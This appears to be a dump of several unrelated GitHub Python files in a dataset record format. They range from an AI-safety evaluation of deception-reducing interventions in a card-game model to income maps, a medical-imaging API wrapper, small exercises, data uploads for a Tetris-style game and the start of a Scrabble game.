\"value\": \"rate\"}, axis=1)\n\n# px.line(\n# plot_df,\n# x=\"cheat_penalty_weight\",\n# y=\"rate\",\n# color=\"cheat_penalty_apply_prob\",\n# facet_col=\"quantity\",\n# log_x=True,\n# ).show()\n\n# px.scatter(\n# penalize_test_results_df,\n# x=\"cheat_rate\",\n# y=\"win_rate\",\n# color=np.log10(test_results_df[\"cheat_penalty_weight\"]),\n# size=np.log10(test_results_df[\"cheat_penalty_apply_prob\"]) + 3,\n# hover_data=[\"cheat_penalty_weight\", \"cheat_penalty_apply_prob\"],\n# ).show()\n\npx.line(\n penalize_test_results_df,\n x=\"cheat_rate\",\n y=\"win_rate\",\n # color=np.log10(test_results_df[\"cheat_penalty_weight\"]),\n color=\"cheat_penalty_apply_prob\",\n title=\"Penalize cheat action log-probs during training\",\n).show()\n\nperf_data_penalize = penalize_test_results_df[\n [\"cheat_rate\", \"win_rate\"]\n].reset_index()\n\n# %%\n# Vary score conditioning\n# ----------------------------------------------------------------------------\nTRAINING_RESULTS_FN = \"cheat_train_results/20230817T151856/results.pkl\"\n\nwith open(TRAINING_RESULTS_FN, \"rb\") as file:\n results_all = pickle.load(file)\nresults = training.TrainingResults(**results_all[\"training_results\"])\nmodel = results.model\n# Fix\nif \"n_ctx\" not in results_all[\"config\"]:\n results_all[\"config\"][\"n_ctx\"] = model.cfg.n_ctx\nconfig = cheat_utils.CheatTrainingConfig(**results_all[\"config\"])\n\ngame_config, players_all = cheat_utils.load_config_and_players_from_dataset(\n config.dataset_folder\n)\n\ntest_game_config = cheat.CheatConfig(**vars(game_config))\ntest_game_config.penalize_wrong_played_card = True\n\nmargins_list = []\ncheat_rates_list = []\n# for player in [results.model] + test_players:\nplayer = model\nfor goal_score in tqdm(np.linspace(-GOAL_SCORE, GOAL_SCORE, 20)):\n margins, cheat_rate = cheat_utils.run_test_games(\n model=player,\n game_config=game_config,\n num_games=NUM_GAMES,\n goal_score=goal_score,\n max_turns=MAX_TURNS,\n players=test_players,\n seed=0,\n show_progress=True,\n map_func=cheat_utils.get_action_types,\n reduce_func=cheat_utils.get_cheat_rate,\n )\n margins_list.append(\n {\n \"goal_score\": goal_score,\n \"mean_margin\": margins.mean(),\n \"win_rate\": (margins > 0).mean(),\n }\n )\n cheat_rates_list.append(\n {\"goal_score\": goal_score, \"cheat_rate\": cheat_rate}\n )\nmargins_df = pd.DataFrame(margins_list)\ncheat_rates = pd.DataFrame(cheat_rates_list).set_index(\"goal_score\")[\n \"cheat_rate\"\n]\n\nperf_data_score = pd.DataFrame(\n {\n \"cheat_rate\": cheat_rates,\n \"win_rate\": margins_df.set_index(\"goal_score\")[\"win_rate\"],\n }\n).reset_index()\n\n\n# %%\n# Pass logit offsets\n# ----------------------------------------------------------------------------\ngame = cheat.CheatGame(config=game_config)\nvocab, action_vocab = game.get_token_vocab()\nvocab_str = {idx: token_str for token_str, idx in vocab.items()}\n\n# Token properties table\ntoken_props, action_props = cheat.get_token_props(vocab=vocab)\n\n\n# Add a pytorch forward hook to the model to add an offset to the\n# \"pass\" action logits\ndef make_pass_offset_hook(offset):\n def pass_offset_hook(module, input, output):\n output[:, :, vocab[\"a_pass\"]] += offset\n\n return pass_offset_hook\n\n\nwin_rates = []\ncheat_rates_list = []\nfor pass_offset in tqdm(np.linspace(-1, 5, 20)):\n # Register hook\n handle = model.register_forward_hook(make_pass_offset_hook(pass_offset))\n try:\n # Run games\n margins, cheat_rate = cheat_utils.run_test_games(\n model=model,\n game_config=game_config,\n num_games=NUM_GAMES,\n goal_score=GOAL_SCORE,\n max_turns=max(\n results_all[\"config\"][\"cached_game_data\"][\"summary\"][\n \"turn_cnt\"\n ]\n ),\n players=test_players,\n seed=0,\n show_progress=True,\n map_func=cheat_utils.get_action_types,\n reduce_func=cheat_utils.get_cheat_rate,\n )\n finally:\n # Clear all forward hooks\n handle.remove()\n\n win_rate = (margins > 0).mean()\n win_rates.append({\"pass_offset\": pass_offset, \"win_rate\": win_rate})\n cheat_rates_list.append(\n {\"pass_offset\": pass_offset, \"cheat_rate\": cheat_rate}\n )\nwin_rates_df = pd.DataFrame(win_rates)\ncheat_rates_df = pd.DataFrame(cheat_rates_list)\n\nperf_data_offset = pd.DataFrame(\n {\n \"cheat_rate\": cheat_rates_df.set_index(\"pass_offset\")[\"cheat_rate\"],\n \"win_rate\": win_rates_df.set_index(\"pass_offset\")[\"win_rate\"],\n }\n).reset_index()\n\n\n# %%\n# Save all results for later\n# ----------------------------------------------------------------------------\nperf_data = pd.concat(\n [\n perf_data_filter.assign(intervention=\"filter training data\"),\n perf_data_penalize.assign(intervention=\"penalize in training\"),\n perf_data_score.assign(intervention=\"change prompt\"),\n perf_data_offset.assign(intervention=\"increase pass prob\")[\n perf_data_offset[\"pass_offset\"] > -0.1\n ],\n ]\n)\n\nsave_dict = {\"perf_data\": perf_data, \"penalize_data\": penalize_test_results_df}\n\nwith open(\"cheat_eval_results.pkl\", \"wb\") as file:\n pickle.dump(save_dict, file)\n\n\n# %%\n# Now plot all the results\n# ----------------------------------------------------------------------------\n\n# Load results\nwith open(\"cheat_eval_results.pkl\", \"rb\") as file:\n save_dict = pickle.load(file)\nperf_data = save_dict[\"perf_data\"]\npenalize_test_results_df = save_dict[\"penalize_data\"]\n\n# Pareto front\nperf_sorted = perf_data.sort_values([\"cheat_rate\"])\nperf_pareto = perf_sorted[\n perf_sorted[\"win_rate\"] >= perf_sorted[\"win_rate\"].cummax()\n]\n\n\n# Plot all intervention results\nfig = px.line(\n perf_data,\n x=\"cheat_rate\",\n y=\"win_rate\",\n color=\"intervention\",\n title=\"Effects of deception-reducing interventions\",\n labels={\"cheat_rate\": \"Deception rate\", \"win_rate\": \"Win rate\"},\n log_x=True,\n log_y=True,\n)\nfig.update_traces(mode=\"markers\")\n# Add a dashed line tracing the pareto front\nfig.add_trace(\n go.Scatter(\n x=perf_pareto[\"cheat_rate\"],\n y=perf_pareto[\"win_rate\"],\n mode=\"lines\",\n line=dict(color=\"black\", dash=\"dash\"),\n showlegend=True,\n name=\"Pareto front\",\n )\n)\n# Make x and y axes show percentages with 1 decimal place\nfig.update_layout(\n # xaxis_tickformat=\".1%\",\n # yaxis_tickformat=\".0%\",\n width=700,\n # legend=dict(\n # orientation=\"h\", yanchor=\"bottom\", y=1.02, xanchor=\"right\", x=1\n # )\n)\nfig.show()\n\n# Plots interesting stuff for each intervention\n# Training data filtering\nfig = px.scatter(\n perf_data[\n (perf_data[\"intervention\"] == \"filter training data\")\n & (perf_data[\"include_cheat_rate\"] > 0)\n ],\n x=\"include_cheat_rate\",\n y=\"cheat_rate\",\n log_x=True,\n trendline=\"ols\",\n trendline_options=dict(log_x=True),\n title=\"Cheat rate vs chance of including a game with cheating in training\",\n labels={\n \"cheat_rate\": \"Deception rate\",\n \"include_cheat_rate\": \"Cheat game inclusion probability\",\n },\n)\nfig.update_layout(\n xaxis_tickformat=\".1%\",\n yaxis_tickformat=\".1%\",\n width=700,\n)\nfig.show()\n# Penalize in training\nfor param, param_name in [\n (\"cheat_penalty_weight\", \"cheat penalty weight\"),\n (\"cheat_penalty_apply_prob\", \"cheat penalty apply prob\"),\n]:\n fig = px.scatter(\n penalize_test_results_df,\n x=\"cheat_rate\",\n y=\"win_rate\",\n color=np.log10(penalize_test_results_df[param]),\n title=f\"Effect of different {param_name}s during training\",\n labels={\"cheat_rate\": \"Deception rate\", \"win_rate\": \"Win rate\"},\n )\n # Add a dashed line tracing the pareto front\n fig.add_trace(\n go.Scatter(\n x=perf_pareto[\"cheat_rate\"],\n y=perf_pareto[\"win_rate\"],\n mode=\"lines\",\n line=dict(color=\"black\", dash=\"dash\"),\n showlegend=False,\n name=\"Pareto front\",\n )\n )\n fig.update_layout(\n coloraxis_colorbar=dict(\n title=param_name,\n tickvals=np.log10(penalize_test_results_df[param].unique()),\n ticktext=[\n f\"{val:0.2f}\"\n for val in penalize_test_results_df[param].unique()\n ],\n )\n )\n fig.update_layout(\n xaxis_tickformat=\".1%\",\n yaxis_tickformat=\".1%\",\n width=700,\n )\n fig.show()\n# Change goal score\nfig = px.line(\n perf_data[perf_data[\"intervention\"] == \"change goal score\"],\n x=\"goal_score\",\n y=[\"cheat_rate\", \"win_rate\"],\n labels={\"goal_score\": \"Goal score\", \"value\": \"Rate\"},\n title=\"Effect of changing goal score\",\n)\nfig.update_layout(\n yaxis_tickformat=\".1%\",\n width=700,\n)\nfig.show()\n","repo_name":"montemac/ai-safety-games","sub_path":"scripts/cheat_eval.py","file_name":"cheat_eval.py","file_ext":"py","file_size_in_byte":14842,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"73957519734","text":"# map data from https://geoportal.statistics.gov.uk/datasets/ons::westminster-parliamentary-constituencies-december-2022-uk-bgc/explore?location=55.233722%2C-3.316534%2C6.66\n# 2020/21 income tax data from https://www.gov.uk/government/statistics/income-and-tax-by-parliamentary-constituency-2010-to-2011\n# note that the per-constituency samples are small, and so we should be careful about reading too much into these figures\n# in particular looks like an error for Fermanagh & South Tyrone - median self employment income of 4490 is half as much as Halifax (the next smallest). \n# So have deleted Fermanagh & South Tyrone data to prevent it messing up the chloropleth colouring\n\nimport plotly.graph_objects as go\nimport geopandas as gpd\nimport pandas as pd\nfrom PIL import Image\n\n# Constants\nCONST_COL_NAME = \"Parliamentary Constituency\"\nPCON22NM = \"PCON22NM\"\nLOGO_PATH = \"logo_full_white_on_blue.jpg\"\nGEOJSON_FILE = \"constituencies.geojson\"\nEXCEL_FILE = 'income_by_constituency.xlsx'\nEPSG = 4326\nMAX_LEN = 8\n\n\ndatasets = [\n {\"data_column\": \"Total income: Median\", \"title\": \"Median income\"},\n {\"data_column\": \"Total income: Mean\", \"title\": \"Mean income\"}\n]\n\n\"\"\"\n# to plot more datasets you can do e.g. \n\ndatasets = [{\"data_column\": \"Total income: Median\", \"title\": \"Median income\"},\n {\"data_column\": \"Total income: Mean\", \"title\": \"Mean income\"},\n {\"data_column\": \"Self-employment income: Median\", \"title\": \"Median self-employment income\"},\n {\"data_column\": \"Employment income: Median\", \"title\": \"Median employment income\"},\n {\"data_column\": \"Total tax: Median\", \"title\": \"Median total income tax\"}]\n\"\"\"\n\n\n# Helper functions\ndef format_or_replace_na(series):\n return series.apply(lambda x: f'£{int(x):,}' if pd.notna(x) else \"[missing data]\")\n\ndef pad_string(s, total_length):\n return s + ' ' * (total_length - len(s))\n\ndef create_hovertext(merged_iht):\n # Prepare the hovertext data for each row\n hovertext_fields = ['Total tax: Median', 'Self-employment income: Median', \n 'Employment income: Median', 'Total tax: Mean', \n 'Self-employment income: Mean', 'Employment income: Mean', \n 'Total income: Mean', 'Total income: Median']\n\n hovertext_data = {field: format_or_replace_na(merged_iht[field]) for field in hovertext_fields}\n\n hovertext = (merged_iht[PCON22NM] + '<br>' +\n ' Mean Median<br>' +\n 'All income: ' + hovertext_data['Total income: Mean'].apply(lambda x: pad_string(x, MAX_LEN)) + \n ' ' + hovertext_data['Total income: Median'].apply(lambda x: pad_string(x, MAX_LEN)) + '<br>' +\n 'All income tax: ' + hovertext_data['Total tax: Mean'].apply(lambda x: pad_string(x, MAX_LEN)) + \n ' ' + hovertext_data['Total tax: Median'].apply(lambda x: pad_string(x, MAX_LEN)) + '<br>' +\n 'Self-emp income: ' + hovertext_data['Self-employment income: Mean'].apply(lambda x: pad_string(x, MAX_LEN)) + \n ' ' + hovertext_data['Self-employment income: Median'].apply(lambda x: pad_string(x, MAX_LEN)) + '<br>' +\n 'Emp income: ' + hovertext_data['Employment income: Mean'].apply(lambda x: pad_string(x, MAX_LEN)) + \n ' ' + hovertext_data['Employment income: Median'].apply(lambda x: pad_string(x, MAX_LEN)))\n\n return hovertext\n\n# Load logo\nlogo_jpg = Image.open(LOGO_PATH)\n\n# Load GeoJSON file\ngdf = gpd.read_file(GEOJSON_FILE)\n\n# Ensure GeoDataFrame is using the correct Coordinate Reference System\ngdf = gdf.to_crs(epsg=EPSG)\n\n# Load the excel data\niht_df = pd.read_excel(EXCEL_FILE)\n\n# Replace '&' with 'and' in the Parliamentary Constituency column\niht_df[CONST_COL_NAME] = iht_df[CONST_COL_NAME].str.replace('&', 'and')\n\n# Create a simple dataframe that we will join with the GeoDataFrame\ndf = pd.DataFrame({\n PCON22NM: gdf[PCON22NM],\n 'id': gdf.index\n})\n\n# Merge the dataframe with the GeoDataFrame\nmerged = gdf.merge(df, on=PCON22NM)\n\n# Rename the column to match the GeoJSON file\niht_df = iht_df.rename(columns={CONST_COL_NAME: PCON22NM})\n\n# Merge the IHT data with the GeoDataFrame and add a merge indicator\nmerged_iht = merged.merge(iht_df, on=PCON22NM, how='outer', indicator=True)\n\n# Print the number of matched and unmatched constituencies\nmatched = merged_iht[merged_iht._merge == 'both']\nunmatched = merged_iht[merged_iht._merge != 'both']\nprint(f\"Number of matched constituencies: {len(matched)}\")\nprint(f\"Number of unmatched constituencies: {len(unmatched)}\")\n\nif len(unmatched) > 0:\n # Print the unmatched constituencies from the excel\n print(\"Unmatched constituencies from the excel file:\")\n print(unmatched[unmatched._merge == 'right_only'][PCON22NM])\n\nmerged_iht['hovertext'] = create_hovertext(merged_iht)\n\n# Prep logo\nlogo_layout = [dict(\n source=logo_jpg,\n xref=\"paper\", yref=\"paper\",\n x=0.99, y=0.89,\n sizex=0.1, sizey=0.1,\n xanchor=\"right\", yanchor=\"bottom\"\n)]\n\n\nfor dataset in datasets:\n # Create the figure\n fig = go.Figure(go.Choroplethmapbox(\n geojson=merged_iht.geometry.__geo_interface__, \n locations=merged_iht.id, \n z=merged_iht[dataset[\"data_column\"]],\n hovertext=merged_iht.hovertext, \n hoverinfo='text',\n colorscale='Blues',\n marker_opacity=0.9, \n marker_line_width=1, \n marker_line_color='black', \n showscale=False\n ))\n \n # Update layout\n fig.update_layout(\n images=logo_layout,\n mapbox_style=\"carto-positron\", \n mapbox_zoom=4.7, \n mapbox_center={\"lat\": 55.3781, \"lon\": -3.4360},\n hoverlabel=dict(font_size=12, font_family=\"Courier New\"),\n annotations=[\n go.layout.Annotation(\n showarrow=False,\n text=f\"{dataset['title']}<br>by constituency in 2020/21\",\n align='left',\n xanchor='left',\n x=0.05,\n yanchor='top',\n y=.95,\n font=dict(size=24, family='Arial Black')\n )\n ],\n margin={\"r\": 0, \"t\": 0, \"l\": 0, \"b\": 0}\n )\n\n # Show the figure\n fig.show()\n","repo_name":"DanNeidle/iht_constituencies","sub_path":"income_constituencies.py","file_name":"income_constituencies.py","file_ext":"py","file_size_in_byte":6220,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"5130333340","text":"import requests\nimport json\n\n\nclass TciaExplorer:\n \"\"\"Wrapper for TCIA's REST API\"\"\"\n\n GET_IMAGE = \"getImage\"\n GET_MANUFACTURER_VALUES = \"getManufacturerValues\"\n GET_MODALITY_VALUES = \"getModalityValues\"\n GET_COLLECTION_VALUES = \"getCollectionValues\"\n GET_BODY_PART_VALUES = \"getBodyPartValues\"\n GET_PATIENT_STUDY = \"getPatientStudy\"\n GET_SERIES = \"getSeries\"\n GET_PATIENT = \"getPatient\"\n GET_SERIES_SIZE = \"getSeriesSize\"\n CONTENTS_BY_NAME = \"ContentsByName\"\n\n def __init__(self, api_key, baseUrl=\"https://services.cancerimagingarchive.net/services/v3\", resource=\"TCIA\"):\n self.api_key = api_key\n self.baseUrl = baseUrl + \"/\"+resource+\"/query/\"\n\n def parse_params(self, params):\n req_params = dict((k,v) for k,v in params.items() if v)\n return req_params\n\n def get_collection_values(self, format=\"json\"):\n \"\"\"Get a response object having collections in the response body\"\"\"\n\n params={\"format\":format, \"api_key\": self.api_key}\n payload = self.parse_params(params)\n response = requests.get(self.baseUrl+ self.GET_COLLECTION_VALUES, params=payload)\n return response\n\n def get_patient(self,collection=None, format=\"json\"):\n \"\"\"Get a response object having patients in the response body.\n \"\"\"\n\n params = {\"Collection\":collection, \"api_key\": self.api_key, \"format\": format}\n payload = self.parse_params(params)\n response = requests.get(self.baseUrl+ self.GET_PATIENT, params=payload)\n return response\n\n def get_patient_study(self, patientID=None,collection=None,studyinstanceUID=None, format=\"json\"):\n \"\"\"Get a response object having patient study in the response body\"\"\"\n\n params = {\"Collection\": collection, \"PatientID\": patientID, \"StudyInstanceUID\": studyinstanceUID, \"api_key\": self.api_key, \"format\":format}\n payload = self.parse_params(params)\n response = requests.get(self.baseUrl+ self.GET_PATIENT_STUDY , params=payload)\n return response\n\n def get_series(self, collection=None, studyInstanceUID=None, patientID=None,seriesInstanceUID = None, modality = None, bodyPartExamined = None, manufacturerModelName = None, manufacturer = None, format=\"json\"):\n \"\"\"Get a response object having series in the response body\"\"\"\n\n params = {\"Collection\": collection, \"StudyInstanceUID\": studyInstanceUID, \"SeriesInstanceUID\": seriesInstanceUID, \"Modality\" :modality, \"BodyPartExamined\": bodyPartExamined, \"ManufacturerModelName\":manufacturerModelName, \"Manufactuere\": manufacturer, \"api_key\": self.api_key, \"format\": format}\n payload = self.parse_params(params)\n response = requests.get(self.baseUrl+ self.GET_SERIES, params=payload)\n return response\n\n def get_image(self,seriesInstanceUID=None):\n \"\"\"Returns a zip file of the images\"\"\"\n params = {\"SeriesInstanceUID\": seriesInstanceUID, \"api_key\": self.api_key,format:\"json\"}\n payload= self.parse_params(params)\n response = requests.get(self.baseUrl + self.GET_IMAGE, params=payload)\n return response\n\n","repo_name":"lastlegion/TCIAExplorer","sub_path":"tciaexplorer/tciaexplorer.py","file_name":"tciaexplorer.py","file_ext":"py","file_size_in_byte":3110,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"21"} +{"seq_id":"34234349869","text":"# Find the sign of the product of all elements in nums\n# Return 1 if product is positive, -1 if product is negative, 0 if product is 0\nclass Solution(object):\n def arraySign(self, nums):\n \"\"\"\n :type nums: List[int]\n :rtype: int\n \"\"\"\n # Check if nums is empty\n if not nums or len(nums) == 0:\n return\n\n # Check if nums contains 0\n if any (num == 0 for num in nums):\n return 0\n \n negCount = 0 # Count number of negative numbers in nums\n \n for num in nums:\n if num < 0:\n negCount += 1\n \n if negCount % 2 == 0: # Even number of negative numbers\n return 1\n else:\n return -1\n\nnums = [-1, -2, -3, -4, 3, 2, -1] \ns = Solution()\nprint(s.arraySign(nums))","repo_name":"rahul-nauni/playground","sub_path":"leetcode/arraySign.py","file_name":"arraySign.py","file_ext":"py","file_size_in_byte":824,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"6889469773","text":"import torch\nimport copy\nimport torch.nn as nn\nfrom torch.autograd import Variable\nimport numpy as np\n\nimport utils.io as io\nimport utils.pytorch_layers as pytorch_layers\n\nclass Conse():\n def __init__(self,k,embed,held_out_idx):\n self.k = k\n self.held_out_idx = held_out_idx\n self.embed = embed\n self.embed_n = embed / \\\n torch.pow(torch.sum(embed*embed,1,keepdim=True),0.5)\n sim = torch.matmul(self.embed_n,self.embed_n.t()) # 100x100\n for i in self.held_out_idx:\n sim[:,i] = sim[:,i]*0 - 1\n top_sim, top_idxs = torch.topk(sim,self.k,1)\n alpha = top_sim / torch.sum(top_sim,1,keepdim=True)\n #alpha = 0.5*(top_sim + 1) / self.k\n self.alpha = alpha.data.cpu().numpy()\n self.top_idxs = top_idxs.data.cpu().numpy()\n\n def infer_prob(self,prob):\n prob_new_ = prob.data.cpu().numpy()\n prob_new = np.copy(prob_new_)\n for i in self.held_out_idx:\n prob_new[:,i] = np.sum(\n prob_new_[:,self.top_idxs[i]]*self.alpha[i],\n 1,\n keepdims=False)\n\n return prob_new\n\n def infer_prob2(self,prob):\n prob_ = prob.clone()\n for i in self.held_out_idx:\n prob_[:,i] = 0\n top_prob,top_idxs = torch.topk(prob_,self.k,1)\n top_prob = top_prob / torch.sum(top_prob,1,keepdim=True)\n embed_new = []\n for i in range(prob.size(0)):\n embed_new.append(torch.matmul(\n top_prob[i].view(1,-1),\n self.embed_n[top_idxs[i],:]))\n\n embed_new = torch.cat(embed_new,0)\n embed_new = embed_new / \\\n torch.pow(torch.sum(embed_new*embed_new,1,keepdim=True),0.5)\n prob_new = 0.5*(1+torch.matmul(embed_new,self.embed_n.t()))\n for i in range(prob.size(1)):\n if i not in self.held_out_idx:\n prob_new[:,i] = 0*prob[:,i]\n\n return prob_new.data.cpu().numpy()\n \n","repo_name":"BigRedT/vico","sub_path":"exp/cifar100/models/conse.py","file_name":"conse.py","file_ext":"py","file_size_in_byte":1977,"program_lang":"python","lang":"en","doc_type":"code","stars":25,"dataset":"github-code","pt":"21"} +{"seq_id":"6128740288","text":"import math\r\n\r\ndef is_prime(i):\r\n for j in range(2, int(math.sqrt(i))+1):\r\n if i%j == 0:\r\n return 0\r\n return 1\r\n\r\ndef nth_prime(n):\r\n #going to tally 2 as the first one and not test for it, start with 3\r\n numPrimes = 1\r\n i = 3\r\n while (1):\r\n if (is_prime(i)):\r\n numPrimes += 1\r\n if (numPrimes == n):\r\n return i\r\n #only need to check odd values\r\n i += 2\r\n\r\nprint(nth_prime(10001))\r\n\r\n\r\n","repo_name":"catheyri/ProjectEulerSolutions","sub_path":"Problem_7.py","file_name":"Problem_7.py","file_ext":"py","file_size_in_byte":479,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"36741018470","text":"from statistics import mean\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom matplotlib import style\nimport random\n\nstyle.use('fivethirtyeight')\n\n# Arbitrary X and Y data for testing\n# xs = np.array([1, 2, 3, 4, 5, 6], dtype=np.float64)\n# ys = np.array([5, 4, 6, 5, 6, 7], dtype=np.float64)\n\n# A function to generate a dataset with hm being how many data points\n# variance being the variance on the y axis, lower variance should mean higher r^2\ndef create_dataset(hm, variance, step=2, correlation=False):\n\tval = 1\n\tys = []\n\tfor i in range(hm):\n\t\ty = val + random.randrange(-variance, variance)\n\t\tys.append(y)\n\t\tif correlation and correlation == 'pos':\n\t\t\tval += step\n\t\telif correlation and correlation == 'neg':\n\t\t\tval -= step\n\txs = [i for i in range(hm)]\n\n\treturn np.array(xs, dtype=np.float64), np.array(ys, dtype=np.float64)\n\n# Defining a function that calculates the best fit slope\n# Using this equation:\n#\n# mean(x) * mean(y) - mean(x * y)\n# m = ---------------------------------\n# mean(x) ** 2 - mean(x ** 2)\n#\n#\n# Equation for the y intercept:\n#\n# b = mean(y) - m * mean(x)\n#\ndef best_fit_slope_and_intercept(xs, ys):\n\tm = (((mean(xs) * mean(ys)) - mean(xs * ys)) /\n\t\t\t((mean(xs) ** 2) - mean(xs ** 2)))\n\tb = mean(ys) - m * mean(xs)\n\treturn m, b\n\n# To calculate the squared error we need the actual points, and the points on the line\n# Squared error is the difference between points on the line and the original points, squared\ndef squared_error(ys_orig, ys_line):\n\treturn sum((ys_line - ys_orig) ** 2)\n\n# Formula for calculating R squared (coefficient of determination)\n# se stands for squared error\n# y hat stands for regression line\n# ^\n# se(y)\n# r^2 = 1 - _____\n# _\n# se(y)\ndef coefficient_of_determination(ys_orig, ys_line):\n\t# Create an array of points for the mean line using the original y points\n\ty_mean_line = [mean(ys_orig) for y in ys_orig]\n\tsquared_error_regr = squared_error(ys_orig, ys_line)\n\tsquared_error_y_mean = squared_error(ys_orig, y_mean_line)\n\treturn 1 - (squared_error_regr / squared_error_y_mean)\n\t\n# Generate the dataset for testing\n# With variance 80, r^2 around 0.2\n# With variance 40, r^2 averaged about 0.5\n# With variance 10, r^2 around 0.93\nxs, ys = create_dataset(40, 20, 2, correlation=None)\n\n# Create an array using the formula y = mx + b\n# containing the y values for each x\nm, b = best_fit_slope_and_intercept(xs, ys)\nregression_line = [(m * x) + b for x in xs]\n\n\nr_squared = coefficient_of_determination(ys, regression_line)\nprint(r_squared)\n\nplt.scatter(xs, ys)\nplt.plot(xs, regression_line)\nplt.show()","repo_name":"IlyaChebanu/machine-learning","sub_path":"regression-2.py","file_name":"regression-2.py","file_ext":"py","file_size_in_byte":2616,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"36785946764","text":"import requests\r\nimport boto3\r\nimport os\r\nimport json\r\n\r\n# base_url = \"http://192.168.1.3:5000\"\r\nbase_url = \"http://18.116.114.15:5000\"\r\n\r\ndef call_signin(world, username,pw):\r\n data = {\r\n \"username\": username,\r\n \"pw\": pw\r\n }\r\n try:\r\n response = requests.post(base_url+'/signin', json=data)\r\n response_info = json.loads(response.text)[\"info\"]\r\n response_perfdata = json.loads(response.text)[\"perf_data\"]\r\n response_email = json.loads(response.text)[\"email\"]\r\n if(response_info==\"signed in\"):\r\n world.setusername(username)\r\n world.setemail(response_email)\r\n world.setperf(response_perfdata)\r\n return(response_info)\r\n except:\r\n return(\"not signin\")\r\n\r\ndef call_register(email,username,pw):\r\n data = {\r\n \"email\": email,\r\n \"username\":username,\r\n \"pw\":pw\r\n }\r\n try:\r\n response = requests.post(base_url+'/register', json=data)\r\n print(response.text)\r\n return(response.text)\r\n except:\r\n return(\"not registered\")\r\n\r\ndef upload_latest_game_data(username):\r\n if(username!=\"\"):\r\n try:\r\n file = open(\"secret_keys.txt\")\r\n keys = file.read().strip().split(\"\\n\")\r\n file.close()\r\n\r\n access_key = keys[0]\r\n secret_access_key = keys[1]\r\n s3_bucket = keys[2]\r\n\r\n s3_client = boto3.client('s3', aws_access_key_id=access_key, aws_secret_access_key=secret_access_key)\r\n\r\n data_directory = \".\\data\\\\\"\r\n\r\n content = os.listdir(data_directory)\r\n new_content = []\r\n for i in range(0, len(content)):\r\n new_content.append(data_directory + content[i])\r\n latest_subdir = max(new_content, key=os.path.getmtime)\r\n\r\n folder = latest_subdir.split('\\\\')[2]\r\n data_files = [f for f in os.listdir(latest_subdir)]\r\n for i in range(0, len(data_files)):\r\n s3_client.upload_file(os.path.join(latest_subdir, data_files[i]), s3_bucket,\r\n os.path.join(username + \"/\" + folder + \"/\" + data_files[i]))\r\n print(\"game data successfully uploaded\")\r\n except:\r\n print(\"game data not uploaded\")\r\n\r\ndef upload_perf_data(perf_data, username, email):\r\n if(username!=\"\"):\r\n data = {\r\n \"perf_data\": perf_data,\r\n \"username\":username,\r\n \"email\":email\r\n }\r\n try:\r\n response = requests.post(base_url+'/uploadperfdata', json=data)\r\n print(response.text)\r\n return(response.text)\r\n except:\r\n return(\"not uploaded performance data\")\r\n","repo_name":"jack13berry/metatris","sub_path":"py-metatris/api_calls.py","file_name":"api_calls.py","file_ext":"py","file_size_in_byte":2717,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"17896648400","text":"from mpl_toolkits.basemap import Basemap, cm\nimport draw as DRAW\nimport numpy as np\nimport time\nfrom netCDF4 import Dataset as NetCDFFile\nimport os\nimport os.path\nimport warnings\nimport math\nwarnings.filterwarnings(\"ignore\")\n\n\ndef go(input):\n\n outdir = ''\n nc = NetCDFFile(input)\n lats = nc.variables['latitude'][:]\n lons = nc.variables['longitude'][:]\n\n # 初始化投影对象\n map = Basemap(projection='merc', llcrnrlat=lats[\n 0], urcrnrlat=lats[-1], llcrnrlon=lons[0], urcrnrlon=lons[-1])\n # 经纬度矩阵\n LATS, LONS = np.meshgrid(lats, lons)\n # 投影转换\n x, y = map(LONS, LATS)\n\n ##########################################################################\n DRAW.pcolormesh(x=x.T, y=y.T,\n data=nc.variables['TEM'][:],\n map=map, type='TEM', dpi=800,\n output=os.path.join(outdir, 'TEM.png'))\n\n DRAW.pcolormesh(x=x.T, y=y.T,\n data=nc.variables['RHU'][:],\n map=map, type='RHU', dpi=800,\n output=os.path.join(outdir, 'RHU.png'))\n\n DRAW.pcolormesh(x=x.T, y=y.T,\n data=nc.variables['PRE'][:],\n map=map, type='PRE', dpi=800,\n output=os.path.join(outdir, 'PRE.png'))\n\n ws = nc.variables['WS'][:]\n wd = nc.variables['WD'][:]\n\n u = ws * np.cos(wd * math.pi / 180)\n v = ws * np.sin(wd * math.pi / 180)\n\n DRAW.quiver(x=x.T, y=y.T,\n u=u,\n v=v,\n map=map, type='WIND', dpi=800,\n output=os.path.join(outdir, 'WIND.png'))\n\n\nstart = time.clock()\n\ngo('input/test.nc')\n\nend = time.clock()\nprint(\"time: %f s\" % (end - start))\n","repo_name":"ninthdayjt/gridsketch","sub_path":"old/basemap/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1720,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"73357747252","text":"from game.models import Player, BagTiles\nfrom game.board import Board\nfrom pyrae import dle\n\n\nclass DictionaryConnectionError(Exception):\n pass\n\nclass WordDoesntExists(Exception):\n pass\n\nclass IsNotNumber(Exception):\n pass\n\nclass OutOfRange(Exception):\n pass\n\nclass InvalidWord(Exception):\n pass\n\nclass OutOfTiles(Exception):\n pass\n\nclass InvalidTask(Exception):\n pass\n\nclass InvalidPlace(Exception):\n pass\n\nclass NotInTheMiddle(Exception):\n pass\n\nclass WrongCross(Exception):\n pass\n\ndle.set_log_level(log_level='CRITICAL')\n\nclass ScrabbleGame:\n def __init__(self, players_count, current_player = None):\n self.board = Board()\n self.board.positions()\n self.bag_tiles = BagTiles()\n self.players = []\n self.current_player = current_player\n self.cells_values = {}\n self.playing = True\n for id in range(players_count):\n self.players.append(Player(id = id, bag_tiles = self.bag_tiles))\n\n\n def next_turn(self):\n if self.current_player is None:\n self.current_player = self.players[0]\n else:\n turn = self.players.index(self.current_player)\n if turn == (len(self.players) - 1):\n self.current_player = self.players[0]\n else:\n self.current_player = self.players[turn + 1]\n\n\n def validate_word(self, word, location, orientation):\n if 